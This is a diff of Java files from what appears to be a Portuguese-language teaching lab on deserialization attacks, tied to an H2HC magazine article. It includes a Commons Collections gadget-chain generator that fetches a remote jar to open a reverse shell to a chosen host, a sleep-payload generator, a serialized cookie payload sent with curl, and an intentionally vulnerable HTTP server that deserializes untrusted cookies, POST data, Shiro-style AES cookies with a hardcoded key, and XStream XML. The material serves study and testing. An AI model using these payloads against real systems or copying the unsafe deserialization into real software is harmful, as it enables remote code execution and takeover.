$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
|
||||
Data deserialized!
|
||||
$ ls -all /tmp/h2hc_2017
|
||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
|
||||
```
|
@ -1,143 +0,0 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.*;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gera payload com gadget chain para carregar e executar uma classe remota
|
||||
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
||||
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
||||
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
||||
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
||||
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
||||
* de um LazyMap decorado com a ChainedTransformers.
|
||||
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
|
||||
*
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos.
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ReverseShellCommonsCollectionsHashMap {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
|
||||
|
||||
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
|
||||
String host = null;
|
||||
int port = 1331;
|
||||
|
||||
// Verifica se o usuário forneceu o comando a ser executado
|
||||
if (args.length != 1 || args[0].split(":").length != 2 ) {
|
||||
System.out.println("Invalid params! \n" +
|
||||
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
|
||||
System.exit(1);
|
||||
}
|
||||
host = args[0].split(":")[0];
|
||||
port = Integer.parseInt(args[0].split(":")[1]);
|
||||
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
|
||||
new ConstantTransformer(URLClassLoader.class),
|
||||
new InstantiateTransformer(
|
||||
new Class[]{
|
||||
URL[].class
|
||||
},
|
||||
new Object[]{
|
||||
new URL[]{new URL(remoteJar)}
|
||||
}),
|
||||
new InvokerTransformer("loadClass",
|
||||
new Class[]{
|
||||
String.class
|
||||
},
|
||||
new Object[]{
|
||||
"JexReverse"
|
||||
}),
|
||||
new InstantiateTransformer(
|
||||
new Class[]{ String.class, int.class },
|
||||
new Object[]{ host, port }
|
||||
)
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map1 = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map1,transformerChain);
|
||||
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
|
||||
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("foo");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
f.setAccessible(true);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
f2.setAccessible(true);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if(node == null){
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try{
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
}catch(Exception e){
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
keyField.setAccessible(true);
|
||||
keyField.set(node, entry);
|
||||
|
||||
// Serializa o objeto
|
||||
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
|
||||
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(map);
|
||||
oos.flush();
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,105 +0,0 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.*;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.*;
|
||||
/**
|
||||
* Gera payload com gadget chain para forçar um Sleep na aplicação.
|
||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
||||
* disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
|
||||
* JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
|
||||
* (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar SleepExample
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class SleepExample {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
||||
|
||||
// Cria array de Transformers que irá resultar na seguinte construção:
|
||||
//Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(Thread.class), // retorna class Thread.class
|
||||
// 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
|
||||
new InvokerTransformer(
|
||||
"getMethod", // invoca método getMethod
|
||||
( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
|
||||
( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
|
||||
),
|
||||
// 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
|
||||
new InvokerTransformer(
|
||||
"invoke", // invoca método: invoke
|
||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
||||
(new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
|
||||
)
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
||||
// Torna o construtor acessível
|
||||
ctor.setAccessible(true);
|
||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
||||
|
||||
//cria a interface map
|
||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
||||
|
||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
||||
|
||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
||||
System.out.println("Saving serialized object in SleepExample.ser");
|
||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(handlerProxy);
|
||||
oos.flush();
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,42 +0,0 @@
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
||||
* O método invoke() desta classe é alcançado quando o readObject da classe
|
||||
* ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet())
|
||||
* O campo irá conter um Proxy entre a interface Map e este InvocationHandler.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class SomeInvocationHandler implements InvocationHandler, Serializable {
|
||||
|
||||
private String cmd;
|
||||
|
||||
// metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente
|
||||
// durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy.
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("Invoke method reached! This method can do something dangerous!");
|
||||
Runtime.getRuntime().exec(cmd);
|
||||
return null;
|
||||
}
|
||||
|
||||
// magic method invocado automaticamente durante a desserialização de objetos
|
||||
// deste tipo
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws java.io.IOException, ClassNotFoundException {
|
||||
s.defaultReadObject();
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("The flow is in SomeInvocationHandler.readObject()");
|
||||
}
|
||||
}
|
@ -1,42 +0,0 @@
|
||||
import java.io.*;
|
||||
/**
|
||||
* Exemplo simples que demonstra a desserialização nativa de um objeto
|
||||
* salvo em um arquivo. Observe que, durante a desserialização, o método
|
||||
* readObject da classe Alien (que é o tipo do Objeto sendo desserializado)
|
||||
* é automaticamente invocado - por isso, chamado de magic method.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* ----------------------------------------------------------------------- *
|
||||
*
|
||||
* **** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac TestDeserialize.java
|
||||
*
|
||||
* Executando
|
||||
* $ java TestDeserialize
|
||||
*
|
||||
* OBS: lembre de executar o exemplo TestSerialize antes, de forma
|
||||
* a gerar o objeto serializado no arquivo (ET_object.ser), que
|
||||
* será desserializado por este exemplo.
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class TestDeserialize {
|
||||
|
||||
public static void main(String[] args)
|
||||
throws IOException, ClassNotFoundException {
|
||||
// Obtem stream de bytes a partir do arquivo salvo em disco
|
||||
FileInputStream fis = new FileInputStream("ET_object.ser");
|
||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
||||
// Realiza a desserialização! Nesse momento, os magic methods da classe
|
||||
// Alien serão automaticamente invocados! (ie. readObject)
|
||||
Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao
|
||||
System.out.println("Hi, I'm "+ET.name+" from "+ET.source);
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -1,44 +0,0 @@
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
/**
|
||||
* Exemplo simples que demonstra a serializacao nativa de um objeto
|
||||
* e o salva em um arquivo. Observe que, durante a serializacao, o método
|
||||
* writeObject da classe Alien (que é o tipo do Objeto sendo serializado)
|
||||
* é automaticamente invocado.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* **** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac TestSerialize.java
|
||||
*
|
||||
* Executando
|
||||
* $ java TestSerialize
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class TestSerialize {
|
||||
|
||||
public static void main(String[] args)
|
||||
throws IOException {
|
||||
|
||||
// Instancia objeto a ser serializado e atribui
|
||||
// valores aos seus campos "name" e "source"
|
||||
Alien ET = new Alien();
|
||||
ET.name = "Abu ce taí";
|
||||
ET.source = "Andromeda Galaxy";
|
||||
|
||||
// Cria FileOutputStream para armazenar o objeto serializado em um arquivo
|
||||
FileOutputStream fos = new FileOutputStream("ET_object.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(ET); // <-- Realiza a serializacao
|
||||
oos.flush();
|
||||
oos.close();
|
||||
|
||||
}
|
||||
}
|
@ -1,402 +0,0 @@
|
||||
import com.sun.net.httpserver.HttpExchange;
|
||||
import com.sun.net.httpserver.HttpHandler;
|
||||
import com.sun.net.httpserver.HttpServer;
|
||||
|
||||
import sun.misc.BASE64Decoder;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.*;
|
||||
import java.lang.annotation.IncompleteAnnotationException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.URLDecoder;
|
||||
//this import is only for java 1.8
|
||||
//import java.util.Base64;
|
||||
import java.security.Key;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos:
|
||||
*
|
||||
* 1) via HTTP POST em formato binário (ou seja, \xAC\xED)
|
||||
* 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...)
|
||||
* 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...)
|
||||
* 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded
|
||||
* 5) via XML para explorar o XStream
|
||||
*
|
||||
* Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que
|
||||
* ocorre em um servidor "real" (erro de casting após a desserialização)
|
||||
*
|
||||
*
|
||||
* OBS: Sobre Apache Shiro, ver:
|
||||
* https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java
|
||||
* https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini
|
||||
* Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc
|
||||
* Se preferir, existem mtos sccripts prontos para geracao do payload, veja:
|
||||
* ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py
|
||||
* Análise: http://www.freebuf.com/articles/system/125187.html
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* **** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
||||
*
|
||||
* Executando
|
||||
* $ java VulnerableHTTPServer
|
||||
*
|
||||
* Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs:
|
||||
* $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
* $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
|
||||
public class VulnerableHTTPServer {
|
||||
|
||||
public static void banner(){
|
||||
System.out.println("* =============================================================== *");
|
||||
System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *");
|
||||
System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *");
|
||||
System.out.println("* =============================================================== *");
|
||||
System.out.println("You can inject java serialized objects in the following formats:");
|
||||
System.out.println(
|
||||
"\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+
|
||||
"\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+
|
||||
" $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+
|
||||
"\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+
|
||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+
|
||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+
|
||||
"\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+
|
||||
"\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\"");
|
||||
|
||||
|
||||
|
||||
System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" +
|
||||
"$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer");
|
||||
System.out.println("==================================================================");
|
||||
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
banner();
|
||||
int port = 8000;
|
||||
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
|
||||
server.createContext("/", new HTTPHandler());
|
||||
server.setExecutor(null); // creates a default executor
|
||||
server.start();
|
||||
System.out.println("\nJRE Version: "+System.getProperty("java.version"));
|
||||
System.out.println("[INFO]: Listening on port "+port);
|
||||
System.out.println();
|
||||
}
|
||||
|
||||
|
||||
static class HTTPHandler implements HttpHandler {
|
||||
|
||||
String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA==";
|
||||
|
||||
public void handle(HttpExchange t) throws IOException {
|
||||
|
||||
System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress());
|
||||
|
||||
String responseMsg = null;
|
||||
boolean containsCookie = t.getRequestHeaders().containsKey("cookie");
|
||||
|
||||
// if there's a cookie with serialized java object
|
||||
if (containsCookie){
|
||||
String object = t.getRequestHeaders().get("cookie").get(0);
|
||||
object = getObjectValue(object);
|
||||
|
||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
||||
responseMsg = deserialize(object);
|
||||
else { // try deserialize aes-cbc encrypted object
|
||||
|
||||
byte[] plainText = decryptAES(object,aesHardedCodeKey);
|
||||
if (plainText == null)
|
||||
responseMsg = "\nAn error ocurred when decrypting the stream.\n";
|
||||
else
|
||||
responseMsg = deserialize(new ByteArrayInputStream(plainText));
|
||||
}
|
||||
|
||||
}
|
||||
else if (t.getRequestMethod().equals("POST")){
|
||||
|
||||
InputStream input = t.getRequestBody();
|
||||
// take 2 bytes from header to check if it is a raw object
|
||||
PushbackInputStream pbis = new PushbackInputStream( input, 2 );
|
||||
byte [] header = new byte[2];
|
||||
int len = pbis.read(header);
|
||||
pbis.unread( header, 0, len );
|
||||
StringBuffer headerResult = new StringBuffer();
|
||||
for (byte b: header)
|
||||
headerResult.append(String.format("%02x", b));
|
||||
|
||||
// deserialize raw
|
||||
if (headerResult.toString().equals("aced"))
|
||||
responseMsg = deserialize(pbis); // deserialize RAW
|
||||
else{ // deserialize H4sI, rO0,...
|
||||
// read input into string
|
||||
InputStreamReader isr = new InputStreamReader(pbis, "utf-8");
|
||||
BufferedReader br = new BufferedReader(isr);
|
||||
String body = br.readLine();
|
||||
String paramName = "";
|
||||
String object = getObjectValue(body);
|
||||
|
||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
||||
responseMsg = deserialize(object); // deserialize H4sI, rO0...
|
||||
else if (object.startsWith("<") )
|
||||
responseMsg = deserializeXStream(object); // xtream
|
||||
}
|
||||
|
||||
|
||||
}// end if POST
|
||||
else{
|
||||
|
||||
responseMsg = "<html>" +
|
||||
"\n<title>DeserLab v0.01</title> " +
|
||||
"\n<br>DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." +
|
||||
"\n<br>See examples at: <a href=\"https://github.com/joaomatosf/JavaDeserH2HC\">https://github.com/joaomatosf/JavaDeserH2HC</a>" +
|
||||
"\n<br> <form id=\"0\" name=\"inicial\" method=\"post\" action=\"/post\" enctype=\"application/x-www-form-urlencoded\">" +
|
||||
"\n<bbr> <input type=\"hidden\" name=\"javax.faces.ViewState\" id=\"javax.faces.ViewState\" value=\"H4sI\" />";
|
||||
|
||||
}
|
||||
t.getResponseHeaders().add("Server", "Vulnerable Java HTTP Server v0.01");
|
||||
t.getResponseHeaders().add("Info", "http://github.com/joaomatosf/JavaDeserH2HC");
|
||||
t.getResponseHeaders().add("Content-Type", "x-java-serialized-object");
|
||||
|
||||
if (t.getRequestURI().getPath().contains("jexws") || t.getRequestURI().getPath().contains("jexinv"))
|
||||
t.sendResponseHeaders(404, responseMsg.length());
|
||||
else
|
||||
t.sendResponseHeaders(200, responseMsg.length());
|
||||
|
||||
OutputStream os = t.getResponseBody();
|
||||
os.write(responseMsg.getBytes());
|
||||
os.close();
|
||||
|
||||
}
|
||||
|
||||
public boolean hasParam(String object){
|
||||
if (object.indexOf("=")<40 && object.indexOf("=")>0 && object.split("=")[1].length() > 4)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
public String getParamName(String object){
|
||||
if (hasParam(object))
|
||||
return object.substring(0, object.indexOf("=")+1).split("=")[0] + "=";
|
||||
else
|
||||
return "";
|
||||
}
|
||||
public String getObjectValue(String object){
|
||||
if (hasParam(object)) {
|
||||
String paramName = getParamName(object);
|
||||
return object.split(paramName)[1];
|
||||
}
|
||||
else
|
||||
return object;
|
||||
|
||||
}
|
||||
|
||||
|
||||
public String deserialize(String object){
|
||||
|
||||
ObjectInputStream ois = null;
|
||||
InputStream is = null;
|
||||
GZIPInputStream gis = null;
|
||||
|
||||
// if payload is urlencoded
|
||||
if (object.contains("%2B")) {
|
||||
try {
|
||||
object = URLDecoder.decode(object, "UTF-8");
|
||||
} catch (UnsupportedEncodingException e) {
|
||||
return "\nInvalid encoding. You should use URL Encode!\n";
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
byte[] b64DecodedObj = new BASE64Decoder().decodeBuffer(object);
|
||||
// This another implementation of Base64 is only for java >= 1.8
|
||||
//byte[] b64DecodedObj = Base64.getDecoder().decode(object);
|
||||
is = new ByteArrayInputStream(b64DecodedObj);
|
||||
}catch (Exception e){
|
||||
return "\nInvalid Base64!\n";
|
||||
}
|
||||
|
||||
if (object.startsWith("H4sI")) {
|
||||
try {
|
||||
gis = new GZIPInputStream(is);
|
||||
ois = new ObjectInputStream(gis);
|
||||
} catch (IOException e) {
|
||||
return "\nThe Stream not contains a Java Object!\n";
|
||||
}
|
||||
catch (Exception e) {
|
||||
return "\nInvalid Gzip stream!\n";
|
||||
}
|
||||
}
|
||||
else {
|
||||
try {
|
||||
ois = new ObjectInputStream(is);
|
||||
}
|
||||
catch (IOException e ){
|
||||
return "\nThe Stream not contains a Java Object!\n";
|
||||
}
|
||||
catch (Exception e){
|
||||
return e.toString()+"\n";
|
||||
}
|
||||
}
|
||||
|
||||
// Deserialization
|
||||
try{
|
||||
int number = (Integer) ois.readObject();
|
||||
}
|
||||
catch (ClassNotFoundException e) {
|
||||
return "\nSerialized class not found in classpath\n";
|
||||
}
|
||||
catch (IOException e) {
|
||||
return e.toString()+"\n";
|
||||
}
|
||||
catch (ClassCastException e){
|
||||
e.printStackTrace();
|
||||
} catch (IncompleteAnnotationException e){
|
||||
e.printStackTrace();
|
||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
||||
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
||||
}
|
||||
catch (Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
|
||||
return "\nData deserialized!\n";
|
||||
}
|
||||
|
||||
public String deserialize(InputStream is){
|
||||
|
||||
ObjectInputStream ois = null;
|
||||
|
||||
try{
|
||||
ois = new ObjectInputStream(is);
|
||||
